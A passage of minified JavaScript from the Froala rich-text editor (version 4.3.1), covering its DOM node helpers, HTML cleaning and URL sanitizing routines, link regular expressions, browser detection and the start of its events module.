1==o.length?o[0]:o}Z.RegisterPlugins=function(e){for(var t=0;t<e.length;t++)e[t].call(Z)},Object.assign(Z,{DEFAULTS:{initOnClick:!1,pluginsEnabled:null},MODULES:{},PLUGINS:{},VERSION:"4.3.1",INSTANCES:[],OPTS_MAPPING:{},SHARED:{},ID:0}),Z.MODULES.node=function(a){var n=a.$;function s(e){return e&&"IFRAME"!==e.tagName?Array.prototype.slice.call(e.childNodes||[]):[]}function l(e){return!!e&&(e.nodeType===Node.ELEMENT_NODE&&0<=Z.BLOCK_TAGS.indexOf(e.tagName.toLowerCase()))}function c(e){var t={},n=e.attributes;if(n)for(var r=0;r<n.length;r++){var o=n[r];t[o.nodeName]=o.value}return t}function t(e){for(var t="",n=c(e),r=Object.keys(n),o=0;o<r.length;o++){var i=r[o],a=n[i];a.indexOf("'")<0&&0<=a.indexOf('"')?t+=" ".concat(i,"='").concat(a,"'"):(0<=a.indexOf('"')&&0<=a.indexOf("'")&&(a=a.replace(/"/g,""")),t+=" ".concat(i,'="').concat(a,'"'))}return t}function r(e){return e===a.el}return{isBlock:l,isEmpty:function d(e,t){if(!e)return!0;if(e.querySelector("table"))return!1;var n=s(e);1===n.length&&l(n[0])&&(n=s(n[0]));for(var r=!1,o=0;o<n.length;o++){var i=n[o];if(!(t&&a.node.hasClass(i,"fr-marker")||i.nodeType===Node.TEXT_NODE&&0===i.textContent.length)){if("BR"!==i.tagName&&0<(i.textContent||"").replace(/\u200B/gi,"").replace(/\n/g,"").length)return!1;if(r)return!1;"BR"===i.tagName&&(r=!0)}}return!(e.querySelectorAll(Z.VOID_ELEMENTS.join(",")).length-e.querySelectorAll("br").length||e.querySelector("".concat(a.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||1<e.querySelectorAll(Z.BLOCK_TAGS.join(",")).length||e.querySelector("".concat(a.opts.htmlDoNotWrapTags.join(":not(.fr-marker),"),":not(.fr-marker)")))},blockParent:function o(e){for(;e&&e.parentNode!==a.el&&(!e.parentNode||!a.node.hasClass(e.parentNode,"fr-inner"));)if(l(e=e.parentNode))return e;return null},deepestParent:function i(e,t,n){if(void 0===t&&(t=[]),void 0===n&&(n=!0),t.push(a.el),0<=t.indexOf(e.parentNode)||e.parentNode&&a.node.hasClass(e.parentNode,"fr-inner")||e.parentNode&&0<=Z.SIMPLE_ENTER_TAGS.indexOf(e.parentNode.tagName)&&n)return null;for(;t.indexOf(e.parentNode)<0&&e.parentNode&&!a.node.hasClass(e.parentNode,"fr-inner")&&(Z.SIMPLE_ENTER_TAGS.indexOf(e.parentNode.tagName)<0||!n)&&(!l(e)||l(e.parentNode))&&(!l(e)||!l(e.parentNode)||!n);)e=e.parentNode;return e},rawAttributes:c,attributes:t,clearAttributes:function f(e){for(var t=e.attributes,n=t.length-1;0<=n;n--){var r=t[n];e.removeAttribute(r.nodeName)}},openTagString:function p(e){return"<".concat(e.tagName.toLowerCase()).concat(t(e),">")},closeTagString:function u(e){return"</".concat(e.tagName.toLowerCase(),">")},isFirstSibling:function h(e,t){void 0===t&&(t=!0);for(var n=e.previousSibling;n&&t&&a.node.hasClass(n,"fr-marker");)n=n.previousSibling;return!n||n.nodeType===Node.TEXT_NODE&&""===n.textContent&&h(n)},isLastSibling:function g(e,t){void 0===t&&(t=!0);for(var n=e.nextSibling;n&&t&&a.node.hasClass(n,"fr-marker");)n=n.nextSibling;return!n||n.nodeType===Node.TEXT_NODE&&""===n.textContent&&g(n)},isList:function C(e){return!!e&&0<=["UL","OL"].indexOf(e.tagName)},isLink:function m(e){return!!e&&e.nodeType===Node.ELEMENT_NODE&&"a"===e.tagName.toLowerCase()},isElement:r,contents:s,isVoid:function v(e){return e&&e.nodeType===Node.ELEMENT_NODE&&0<=Z.VOID_ELEMENTS.indexOf((e.tagName||"").toLowerCase())},hasFocus:function b(e){return e===a.doc.activeElement&&(!a.doc.hasFocus||a.doc.hasFocus())&&Boolean(r(e)||e.type||e.href||~e.tabIndex)},isEditable:function L(e){return(!e.getAttribute||"false"!==e.getAttribute("contenteditable"))&&["STYLE","SCRIPT"].indexOf(e.tagName)<0},isDeletable:function E(e){return e&&e.nodeType===Node.ELEMENT_NODE&&e.getAttribute("class")&&0<=(e.getAttribute("class")||"").indexOf("fr-deletable")},hasClass:function y(e,t){return e instanceof n&&(e=e.get(0)),e&&e.classList&&e.classList.contains(t)},filter:function S(e){return a.browser.msie?e:{acceptNode:e}}}},Object.assign(Z.DEFAULTS,{DOMPurify:window.DOMPurify,htmlAllowedTags:["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","blockquote","br","button","canvas","caption","cite","code","col","colgroup","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meter","nav","noscript","object","ol","optgroup","option","output","p","param","pre","progress","queue","rp","rt","ruby","s","samp","script","style","section","select","small","source","span","strike","strong","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track","u","ul","var","video","wbr"],htmlRemoveTags:["script","style"],htmlAllowedAttrs:["accept","accept-charset","accesskey","action","align","allowfullscreen","allowtransparency","alt","async","autocomplete","autofocus","autoplay","autosave","background","bgcolor","border","charset","cellpadding","cellspacing","checked","cite","class","color","cols","colspan","content","contenteditable","contextmenu","controls","coords","data","data-.*","datetime","default","defer","dir","dirname","disabled","download","draggable","dropzone","enctype","for","form","formaction","frameborder","headers","height","hidden","high","href","hreflang","http-equiv","icon","id","ismap","itemprop","keytype","kind","label","lang","language","list","loop","low","max","maxlength","media","method","min","mozallowfullscreen","multiple","muted","name","novalidate","open","optimum","pattern","ping","placeholder","playsinline","poster","preload","pubdate","radiogroup","readonly","rel","required","reversed","rows","rowspan","sandbox","scope","scoped","scrolling","seamless","selected","shape","size","sizes","span","src","srcdoc","srclang","srcset","start","step","summary","spellcheck","style","tabindex","target","title","type","translate","usemap","value","valign","webkitallowfullscreen","width","wrap"],htmlAllowedStyleProps:[".*"],htmlAllowComments:!0,htmlUntouched:!1,preserveTabSpaces:!1,fullPage:!1}),Z.HTML5Map={B:"STRONG",I:"EM",STRIKE:"S"},Z.MODULES.clean=function(C){var m,v,b,L,f=C.$;function o(e){if(e.nodeType===Node.ELEMENT_NODE&&e.getAttribute("class")&&0<=e.getAttribute("class").indexOf("fr-marker"))return!1;var t,n=C.node.contents(e),r=[];for(t=0;t<n.length;t++)n[t].nodeType!==Node.ELEMENT_NODE||C.node.isVoid(n[t])?n[t].nodeType===Node.TEXT_NODE&&(n[t].textContent=n[t].textContent.replace(/\u200b/g,"")):n[t].textContent.replace(/\u200b/g,"").length!==n[t].textContent.length&&o(n[t]);if(e.nodeType===Node.ELEMENT_NODE&&!C.node.isVoid(e)&&(e.normalize(),n=C.node.contents(e),r=e.querySelectorAll(".fr-marker"),n.length-r.length==0)){for(t=0;t<n.length;t++)if(n[t].nodeType===Node.ELEMENT_NODE&&(n[t].getAttribute("class")||"").indexOf("fr-marker")<0)return!1;for(t=0;t<r.length;t++)e.parentNode.insertBefore(r[t].cloneNode(!0),e);return e.parentNode.removeChild(e),!1}}function s(e,t){if(e.nodeType===Node.COMMENT_NODE)return"\x3c!--".concat(e.nodeValue,"--\x3e");if(e.nodeType===Node.TEXT_NODE)return t?e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">"):C.opts.preserveTabSpaces?e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/\u00A0/g," ").replace(/\t/g," ".repeat(C.opts.tabSpaces)||" ".repeat(4)):e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/\u00A0/g," ").replace(/\t/g,"");if(e.nodeType!==Node.ELEMENT_NODE)return e.outerHTML;if(e.nodeType===Node.ELEMENT_NODE&&0<=["STYLE","SCRIPT","NOSCRIPT"].indexOf(e.tagName))return e.outerHTML;if(e.nodeType===Node.ELEMENT_NODE&&"svg"===e.tagName){var n=document.createElement("div"),r=e.cloneNode(!0);return n.appendChild(r),n.innerHTML}if("IFRAME"===e.tagName)return e.outerHTML.replace(/</g,"<").replace(/>/g,">");var o=e.childNodes;if(0===o.length)return e.outerHTML;for(var i="",a=0;a<o.length;a++)"PRE"===e.tagName&&(t=!0),i+=s(o[a],t);return C.node.openTagString(e)+i+C.node.closeTagString(e)}var l=[];function E(e){var t=e.replace(/;;/gi,";");return";"!==(t=t.replace(/^;/gi,"")).charAt(t.length)&&(t+=";"),t}function c(e){var t;for(t in e)if(Object.prototype.hasOwnProperty.call(e,t)){var n=t.match(b),r=null;"style"===t&&C.opts.htmlAllowedStyleProps.length&&(r=e[t].match(L)),n&&r?e[t]=E(r.join(";")):n&&("style"!==t||r)||delete e[t]}for(var o="",i=Object.keys(e).sort(),a=0;a<i.length;a++)e[t=i[a]].indexOf('"')<0?o+=" ".concat(t,'="').concat(e[t],'"'):o+=" ".concat(t,"='").concat(e[t],"'");return o}function d(e,t){var n,r=document.implementation.createHTMLDocument("Froala DOC").createElement("DIV");f(r).append(e);var o="";if(r){var i=C.node.contents(r);for(n=0;n<i.length;n++)t(i[n]);for(i=C.node.contents(r),n=0;n<i.length;n++)o+=s(i[n])}return o}function p(e,t,n){var r=e=function i(e){return l=[],e=(e=(e=(e=e.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,function(e){return l.push(e),"[FROALA.EDITOR.SCRIPT ".concat(l.length-1,"]")})).replace(/<noscript\b[^<]*(?:(?!<\/noscript>)<[^<]*)*<\/noscript>/gi,function(e){return l.push(e),"[FROALA.EDITOR.NOSCRIPT ".concat(l.length-1,"]")})).replace(/<meta((?:[\w\W]*?)) http-equiv="/g,'<meta$1 data-fr-http-equiv="')).replace(/<img((?:[\w\W]*?)) src="/g,'<img$1 data-fr-src="')}(e),o=null;return C.opts.fullPage&&(r=C.html.extractNode(e,"body")||(0<=e.indexOf("<body")?"":e),n&&(o=C.html.extractNode(e,"head")||"")),r=d(r,t),o&&(o=d(o,t)),function a(e){return e=(e=(e=e.replace(/\[FROALA\.EDITOR\.SCRIPT ([\d]*)\]/gi,function(e,t){return 0<=C.opts.htmlRemoveTags.indexOf("script")?"":l[parseInt(t,10)]})).replace(/\[FROALA\.EDITOR\.NOSCRIPT ([\d]*)\]/gi,function(e,t){if(0<=C.opts.htmlRemoveTags.indexOf("noscript"))return"";var n=l[parseInt(t,10)].replace(/</g,"<").replace(/>/g,">"),r=f(n);if(r&&r.length){var o=d(r.html(),u);r.html(o),n=r.get(0).outerHTML}return n})).replace(/<img((?:[\w\W]*?)) data-fr-src="/g,'<img$1 src="')}(function s(e,t,n){if(C.opts.fullPage){var r=C.html.extractDoctype(n),o=c(C.html.extractNodeAttrs(n,"html"));t=null===t?C.html.extractNode(n,"head")||"<title></title>":t;var i=c(C.html.extractNodeAttrs(n,"head")),a=c(C.html.extractNodeAttrs(n,"body"));return"".concat(r,"<html").concat(o,"><head").concat(i,">").concat(t,"</head><body").concat(a,">").concat(e,"</body></html>")}return e}(r,o,e))}function y(e){var t=C.doc.createElement("DIV");return t.innerText=e,t.textContent}function u(e){for(var t=C.node.contents(e),n=0;n<t.length;n++)t[n].nodeType!==Node.TEXT_NODE&&u(t[n]);!function g(n){if("SPAN"===n.tagName&&0<=(n.getAttribute("class")||"").indexOf("fr-marker"))return!1;if("PRE"===n.tagName&&function h(e){var t=e.innerHTML;0<=t.indexOf("\n")&&(e.innerHTML=t.replace(/\n/g,"<br>"))}(n),n.nodeType===Node.ELEMENT_NODE&&(n.getAttribute("data-fr-src")&&0!==n.getAttribute("data-fr-src").indexOf("blob:")&&n.setAttribute("data-fr-src",C.helpers.sanitizeURL(y(n.getAttribute("data-fr-src")))),n.getAttribute("href")&&n.setAttribute("href",C.helpers.sanitizeURL(y(n.getAttribute("href")))),n.getAttribute("src")&&n.setAttribute("src",C.helpers.sanitizeURL(y(n.getAttribute("src")))),n.getAttribute("srcdoc")&&n.setAttribute("srcdoc",C.clean.html(n.getAttribute("srcdoc"))),0<=["TABLE","TBODY","TFOOT","TR"].indexOf(n.tagName)&&(n.innerHTML=n.innerHTML.trim())),!C.opts.pasteAllowLocalImages&&n.nodeType===Node.ELEMENT_NODE&&"IMG"===n.tagName&&n.getAttribute("data-fr-src")&&0===n.getAttribute("data-fr-src").indexOf("file://"))return n.parentNode.removeChild(n),!1;if(n.nodeType===Node.ELEMENT_NODE&&Z.HTML5Map[n.tagName]&&""===C.node.attributes(n)){var e=Z.HTML5Map[n.tagName],t="<".concat(e,">").concat(n.innerHTML,"</").concat(e,">");n.insertAdjacentHTML("beforebegin",t),(n=n.previousSibling).parentNode.removeChild(n.nextSibling)}if(C.opts.htmlAllowComments||n.nodeType!==Node.COMMENT_NODE)if(n.tagName&&n.tagName.match(v)){if("STYLE"==n.tagName&&C.helpers.isMac()){var r,o=n.innerHTML.trim(),i=[],a=/{([^}]+)}/g;for(o=o.replace(/\/\*[\s\S]*?\*\/|([^\\:]|^)\/\/.*|<!--[\s\S]*?-->$/,"");r=a.exec(o);)i.push(r[1]);for(var s=function s(t){var e=o.substring(0,o.indexOf("{")).trim();0==!/^[a-z_-][a-z\d_-]*$/i.test(e)&&n.parentNode.querySelectorAll(e).forEach(function(e){e.removeAttribute("class"),e.setAttribute("style",i[t])}),o=o.substring(o.indexOf("}")+1)},l=0;-1!=o.indexOf("{");l++)s(l)}n.parentNode.removeChild(n)}else if(n.tagName&&!n.tagName.match(m))"svg"===n.tagName?n.parentNode.removeChild(n):C.browser.safari&&"path"===n.tagName&&n.parentNode&&"svg"===n.parentNode.tagName||(n.outerHTML=n.innerHTML);else{var c=n.attributes;if(c)for(var d=c.length-1;0<=d;d--){var f=c[d],p=f.nodeName.match(b),u=null;"style"===f.nodeName&&C.opts.htmlAllowedStyleProps.length&&(u=f.value.match(L)),p&&u?f.value=E(u.join(";")):p&&("style"!==f.nodeName||u)||n.removeAttribute(f.nodeName)}}else 0!==n.data.indexOf("[FROALA.EDITOR")&&n.parentNode.removeChild(n)}(e)}return{_init:function e(){C.opts.fullPage&&f.merge(C.opts.htmlAllowedTags,["head","title","style","link","base","body","html","meta"])},html:function h(e,t,n,r){void 0===t&&(t=[]),void 0===n&&(n=[]),void 0===r&&(r=!1);var o,i=f.merge([],C.opts.htmlAllowedTags);for(o=0;o<t.length;o++)0<=i.indexOf(t[o])&&i.splice(i.indexOf(t[o]),1);var a=f.merge([],C.opts.htmlAllowedAttrs);for(o=0;o<n.length;o++)0<=a.indexOf(n[o])&&a.splice(a.indexOf(n[o]),1);return a.push("data-fr-.*"),a.push("fr-.*"),m=new RegExp("^".concat(i.join("$|^"),"$"),"gi"),b=new RegExp("^".concat(a.join("$|^"),"$"),"gi"),v=new RegExp("^".concat(C.opts.htmlRemoveTags.join("$|^"),"$"),"gi"),L=C.opts.htmlAllowedStyleProps.length?new RegExp("((^|;|\\s)".concat(C.opts.htmlAllowedStyleProps.join(":.+?(?=;|$))|((^|;|\\s)"),":.+?(?=(;)|$))"),"gi"):null,e=p(e,u,!0),"undefined"!=typeof C.opts.DOMPurify&&(e=C.opts.DOMPurify.sanitize(e,{ADD_TAGS:C.opts.htmlAllowedTags,ALLOW_UNKNOWN_PROTOCOLS:!0})),e},toHTML5:function r(){var e=C.el.querySelectorAll(Object.keys(Z.HTML5Map).join(","));if(e.length){var t=!1;C.el.querySelector(".fr-marker")||(C.selection.save(),t=!0);for(var n=0;n<e.length;n++)""===C.node.attributes(e[n])&&f(e[n]).replaceWith("<".concat(Z.HTML5Map[e[n].tagName],">").concat(e[n].innerHTML,"</").concat(Z.HTML5Map[e[n].tagName],">"));t&&C.selection.restore()}},tables:function t(){!function c(){for(var e=C.el.querySelectorAll("tr"),t=0,n=0;n<e.length;n++){var r=e[n].outerHTML.match(/rowspan="([0-9]+)"/);r&&(t+=Number(r[1])-1);for(var o=e[n].children,i=!0,a=0;a<o.length;a++)if("TH"!==o[a].tagName){i=!1;break}if(!1!==i&&0!==o.length){var s=e[n];if(1===o.length&&"TH"===o[0].tagName&&t)t--;else{for(;s&&"TABLE"!==s.tagName&&"THEAD"!==s.tagName;)s=s.parentNode;var l=s;l.firstChild.nodeType===Node.ELEMENT_NODE&&"THEAD"===l.firstChild.tagName?l=l.firstChild:"THEAD"!==l.tagName&&(l=C.doc.createElement("THEAD"),s.insertBefore(l,s.firstChild)),l.appendChild(e[n])}}}}(),function s(){for(var e=C.$el.find("table[style]"),t=0;t<e.length;t++){var n=f(e[t]);n.attr("style").indexOf("width")<0&&n.css("width","100%")}for(var r=C.$el.find("td[width]"),o=0;o<r.length;o++){var i=f(r[o]),a=i.attr("width");a&&(i.css("width",a),i.removeAttr("width"))}}()},lists:function g(){!function s(){var e,t=[];do{if(t.length){var n=t[0],r=C.doc.createElement("ul");n.parentNode.insertBefore(r,n);do{var o=n;n=n.nextSibling,r.appendChild(o)}while(n&&"LI"===n.tagName)}t=[];for(var i=C.el.querySelectorAll("li"),a=0;a<i.length;a++)e=i[a],C.node.isList(e.parentNode)||t.push(i[a])}while(0<t.length)}(),function i(){for(var e=C.el.querySelectorAll("ol + ol, ul + ul"),t=0;t<e.length;t++){var n=e[t];if(C.node.isList(n.previousSibling)&&C.node.openTagString(n)===C.node.openTagString(n.previousSibling)){for(var r=C.node.contents(n),o=0;o<r.length;o++)n.previousSibling.appendChild(r[o]);n.parentNode.removeChild(n)}}}(),function a(){for(var e=C.el.querySelectorAll("ul, ol"),t=0;t<e.length;t++)for(var n=C.node.contents(e[t]),r=null,o=n.length-1;0<=o;o--)!n[o].tagName&&C.opts.htmlUntouched||"LI"===n[o].tagName||"UL"==n[o].tagName||"OL"==n[o].tagName?r=null:"BR"==n[o].tagName?f(n[o]).remove():(r||(r=f(C.doc.createElement("LI"))).insertBefore(n[o]),r.prepend(n[o]))}(),function l(){var e,t,n;do{t=!1;var r=C.el.querySelectorAll("li:empty");for(e=0;e<r.length;e++)r[e].parentNode.removeChild(r[e]);var o=C.el.querySelectorAll("ul, ol");for(e=0;e<o.length;e++)(n=o[e]).querySelector("LI")||(t=!0,n.parentNode.removeChild(n))}while(!0===t)}(),function o(){for(var e=C.el.querySelectorAll("ul > ul, ol > ol, ul > ol, ol > ul"),t=0;t<e.length;t++){var n=e[t],r=n.previousSibling;r&&("LI"===r.tagName?r.appendChild(n):f(n).wrap("<li></li>"))}}(),function c(){for(var e=C.el.querySelectorAll("li > ul, li > ol"),t=0;t<e.length;t++){var n=e[t];if(n.nextSibling)for(var r=n.nextSibling;0<r.childNodes.length;)n.append(r.childNodes[0])}}(),function d(){for(var e=C.el.querySelectorAll("li > ul, li > ol"),t=0;t<e.length;t++){var n=e[t];if(C.node.isFirstSibling(n)&&"none"!=n.parentNode.style.listStyleType)f(n).before("<br/>");else if(n.previousSibling&&"BR"===n.previousSibling.tagName){for(var r=n.previousSibling.previousSibling;r&&C.node.hasClass(r,"fr-marker");)r=r.previousSibling;r&&"BR"!==r.tagName&&f(n.previousSibling).remove()}}}(),function n(){for(var e=C.el.querySelectorAll("li:empty"),t=0;t<e.length;t++)f(e[t]).remove()}(),function r(){for(var e=C.el.querySelectorAll("ul, ol"),t=0;t<e.length;t++)for(var n=e[t],a=C.node.contents(n),s=function s(){var e=a[l],t=C.node.contents(e),n=e.querySelectorAll("ul, ol");if(0<n.length&&1==t.length&&t[0].nodeType===Node.ELEMENT_NODE){var r=n[0],o=a[l-1];if(!o)return 1;var i=f(o).data("tracking")&&C.opts.trackChangesEnabled;S(r.querySelectorAll("li")).reverse().forEach(function(e){if(i){var t="pending-".concat(C.id,"-").concat(C.track_changes.getPendingChanges().length),n=C.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=e.innerHTML;e.innerHTML='<span data-tracking="true" data-track-id="'.concat(t,'" ').concat(n,">").concat(r,"</span>"),C.track_changes.pushChange(t)}}),o.append(r),e.remove()}},l=0;l<a.length;l++)s()}()},invisibleSpaces:function n(e){return e.replace(/\u200b/g,"").length===e.length?e:C.clean.exec(e,o)},exec:p}},Z.XS=0,Z.SM=1,Z.MD=2,Z.LG=3;Z.LinkRegExCommon="[".concat("a-z\\u0080-\\u009f\\u00a1-\\uffff0-9-_\\.","]{1,}"),Z.LinkRegExEnd="((:[0-9]{1,5})|)(((\\/|\\?|#)[a-z\\u00a1-\\uffff0-9@?\\|!^=%&\\/~+#-\\'*-_{}]*)|())",Z.LinkRegExTLD="((".concat(Z.LinkRegExCommon,")(\\.(com|net|org|edu|mil|gov|co|biz|info|me|dev)))"),Z.LinkRegExHTTP="((ftp|http|https):\\/\\/".concat(Z.LinkRegExCommon,")"),Z.LinkRegExAuth="((ftp|http|https):\\/\\/[\\u0021-\\uffff]{1,}@".concat(Z.LinkRegExCommon,")"),Z.LinkRegExWWW="(www\\.".concat(Z.LinkRegExCommon,"\\.[a-z0-9-]{2,24})"),Z.LinkRegEx="(".concat(Z.LinkRegExTLD,"|").concat(Z.LinkRegExHTTP,"|").concat(Z.LinkRegExWWW,"|").concat(Z.LinkRegExAuth,")").concat(Z.LinkRegExEnd),Z.LinkProtocols=["mailto","tel","sms","notes","data"],Z.MAIL_REGEX=/.+@.+\..+/i,Z.MODULES.helpers=function(i){var a,s=i.$;function e(){var e={},t=function i(){var e,t=-1;return"Microsoft Internet Explorer"===navigator.appName?(e=navigator.userAgent,null!==new RegExp("MSIE ([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))):"Netscape"===navigator.appName&&(e=navigator.userAgent,null!==new RegExp("Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))),t}();if(0<t)e.msie=!0;else{var n=navigator.userAgent.toLowerCase(),r=/(edge)[ /]([\w.]+)/.exec(n)||/(chrome)[ /]([\w.]+)/.exec(n)||/(webkit)[ /]([\w.]+)/.exec(n)||/(opera)(?:.*version|)[ /]([\w.]+)/.exec(n)||/(msie) ([\w.]+)/.exec(n)||n.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(n)||[],o=r[1]||"";r[2];r[1]&&(e[o]=!0),e.chrome?e.webkit=!0:e.webkit&&(e.safari=!0)}return e.msie&&(e.version=t),e}function t(){return(/(iPad|iPhone|iPod)/g.test(navigator.userAgent)||function e(){return navigator.maxTouchPoints&&2<navigator.maxTouchPoints&&/Macintosh/.test(navigator.userAgent)}())&&!o()}function n(){return/(Android)/g.test(navigator.userAgent)&&!o()}function r(){return/(Blackberry)/g.test(navigator.userAgent)}function o(){return/(Windows Phone)/gi.test(navigator.userAgent)}var l=null;return{_init:function c(){i.browser=e()},isIOS:t,isMac:function d(){return null===l&&(l=0<=navigator.platform.toUpperCase().indexOf("MAC")),l},getIOSVersion:function f(){if(t()){var e=navigator.userAgent.match(/OS (\d)?\d_\d(_\d)?/i)||navigator.userAgent.match(/\b[0-9]+_[0-9]+(?:_[0-9]+)?\b/);return e&&e.length&&Math.abs(e[0].split("_")[0].replace("OS ",""))||NaN}return NaN},getSafariVersion:function p(){var e=navigator.userAgent;if(-1!==e.indexOf("Safari")){var t=e.match(/Version\/(\d+\.\d+)/);if(t)return parseInt(t[1])}return null},isAndroid:n,isBlackberry:r,isWindowsPhone:o,isMobile:function u(){return n()||t()||r()},isEmail:function h(e){return!/^(https?:|ftps?:|)\/\//i.test(e)&&Z.MAIL_REGEX.test(e)},requestAnimationFrame:function g(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}},getPX:function C(e){return parseInt(e,10)||0},screenSize:function m(e){try{var t=0;if((t=e?i.$box.width():i.$sc.width())<768)return Z.XS;if(768<=t&&t<992)return Z.SM;if(992<=t&&t<1200)return Z.MD;if(1200<=t)return Z.LG}catch(n){return Z.LG}},isTouch:function v(){return"ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch},sanitizeURL:function b(e){return i.opts.DOMPurify&&(e=i.opts.DOMPurify.sanitize(e,{ADD_TAGS:i.opts.htmlAllowedTags,ALLOW_UNKNOWN_PROTOCOLS:!0,ALLOWED_URI_REGEXP:/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp|xxx):|[^a-z]|[a-z+.]+(?:[^a-z+.\-:]|$))/i})),e=e.replace(/(["'/]|\s+)on\w+=(?:"[^"]*"|'[^']*'|[^>\s]+)/gi,""),/^(https?:|ftps?:|)\/\//i.test(e)?e:/^([A-Za-z]:(\\){1,2}|[A-Za-z]:((\\){1,2}[^\\]+)+)(\\)?$/i.test(e)?e:new RegExp("^(".concat(Z.LinkProtocols.join("|"),"):"),"i").test(e)?e:e=encodeURIComponent(e).replace(/%23/g,"#").replace(/%2F/g,"/").replace(/%25/g,"%").replace(/mailto%3A/gi,"mailto:").replace(/file%3A/gi,"file:").replace(/sms%3A/gi,"sms:").replace(/tel%3A/gi,"tel:").replace(/notes%3A/gi,"notes:").replace(/data%3Aimage/gi,"data:image").replace(/blob%3A/gi,"blob:").replace(/%3A(\d)/gi,":$1").replace(/webkit-fake-url%3A/gi,"webkit-fake-url:").replace(/%3F/g,"?").replace(/%3D/g,"=").replace(/%26/g,"&").replace(/&/g,"&").replace(/%2C/g,",").replace(/%3B/g,";").replace(/%2B/g,"+").replace(/%40/g,"@").replace(/%5B/g,"[").replace(/%5D/g,"]").replace(/%7B/g,"{").replace(/%7D/g,"}").replace(/%[0-1]+[0-9]+|%[0-1]+[A-F]+/g,"")},isArray:function L(e){return e&&!Object.prototype.propertyIsEnumerable.call(e,"length")&&"object"===x(e)&&"number"==typeof e.length},RGBToHex:function E(e){function t(e){return"0".concat(parseInt(e,10).toString(16)).slice(-2)}try{return e&&"transparent"!==e?/^#[0-9A-F]{6}$/i.test(e)?e:(e=e.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/),"#".concat(t(e[1])).concat(t(e[2])).concat(t(e[3])).toUpperCase()):""}catch(n){return null}},HEXtoRGB:function y(e){e=e.replace(/^#?([a-f\d])([a-f\d])([a-f\d])$/i,function(e,t,n,r){return t+t+n+n+r+r});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?"rgb(".concat(parseInt(t[1],16),", ").concat(parseInt(t[2],16),", ").concat(parseInt(t[3],16),")"):""},isURL:function S(e){return!!/^(https?:|ftps?:|)\/\//i.test(e)&&(e=String(e).replace(/</g,"%3C").replace(/>/g,"%3E").replace(/"/g,"%22").replace(/ /g,"%20"),new RegExp("^".concat(Z.LinkRegExHTTP).concat(Z.LinkRegExEnd,"$"),"gi").test(e))},getAlignment:function N(e){e.css||(e=s(e));var t=(e.css("text-align")||"").replace(/-(.*)-/g,"");if(["left","right","justify","center"].indexOf(t)<0){if(!a){var n=s('<div dir="'.concat("rtl"===i.opts.direction?"rtl":"auto",'" style="text-align: ').concat(i.$el.css("text-align"),'; position: fixed; left: -3000px;"><span id="s1">.</span><span id="s2">.</span></div>'));s("body").first().append(n);var r=n.find("#s1").get(0).getBoundingClientRect().left,o=n.find("#s2").get(0).getBoundingClientRect().left;n.remove(),a=r<o?"left":"right"}t=a}return t},scrollTop:function T(){return i.o_win.pageYOffset?i.o_win.pageYOffset:i.o_doc.documentElement&&i.o_doc.documentElement.scrollTop?i.o_doc.documentElement.scrollTop:i.o_doc.body.scrollTop?i.o_doc.body.scrollTop:0},scrollLeft:function M(){return i.o_win.pageXOffset?i.o_win.pageXOffset:i.o_doc.documentElement&&i.o_doc.documentElement.scrollLeft?i.o_doc.documentElement.scrollLeft:i.o_doc.body.scrollLeft?i.o_doc.body.scrollLeft:0},isInViewPort:function A(e){var t=e.getBoundingClientRect();return 0<=(t={top:Math.round(t.top),bottom:Math.round(t.bottom)}).top&&t.bottom<=(window.innerHeight||document.documentElement.clientHeight)||t.top<=0&&t.bottom>=(window.innerHeight||document.documentElement.clientHeight)}}},Z.MODULES.events=function(l){var e,i=l.$,a={};function s(e,t,n){C(e,t,n)}function c(e){if(void 0===e&&(e=!0),!l.$wp)return!1;if(l.helpers.isIOS()&&l.$win.get(0).focus(),l.core.hasFocus())return!1;if(!l.core.hasFocus()&&e){var t=l.$win.scrollTop();if(l.browser.msie&&l.$box&&l.$box.css("position","fixed"),l.browser.msie&&l.$wp&&l.$wp.css("overflow","visible"),l.browser.msie&&l.$sc&&l.$sc.css("position","fixed"),l.browser.msie||(p(),l.el.focus(),l.events.trigger("focus"),f()),l.browser.msie&&l.$sc&&l.$sc.css("position",""),l.browser.msie&&l.$box&&l.$box.css("position",""),l.browser.msie&&l.$wp&&l.$wp.css("overflow","auto"),t!==l.$win.scrollTop()&&l.$win.scrollTop(t),!l.selection.info(l.el).atStart)return!1}if(!l.core.hasFocus()||0<l.$el.find(".fr-marker").length)return!1;if(l.selection.info(l.el).atStart&&l.selection.isCollapsed()&&null!==l.html.defaultTag()){var n=l.markers.insert();if(n&&!l.node.blockParent(n)){i(n).remove();var r=l.$el.find(l.html.blockTagsQuery()).get(0);r&&(i(r).prepend(Z.MARKERS),l.selection.restore())}else n&&i(n).remove()}}var d=!1;function f(){e=!0}function p(){e=!1}function u(){return e}function h(e,t,n){var r,o=e.split(" ");if(1<o.length){for(var i=0;i<o.length;i++)h(o[i],t,n);return!0}void 0===n&&(n=!1),r=0!==e.indexOf("shared.")?(a[e]=a[e]||[],a[e]):(l.shared._events[e]=l.shared._events[e]||[],l.shared._events[e]),n?r.unshift(t):r.push(t)}var g=[];function C(e,t,n,r,o){"function"==typeof n&&(o=r,r=n,n=!1);var 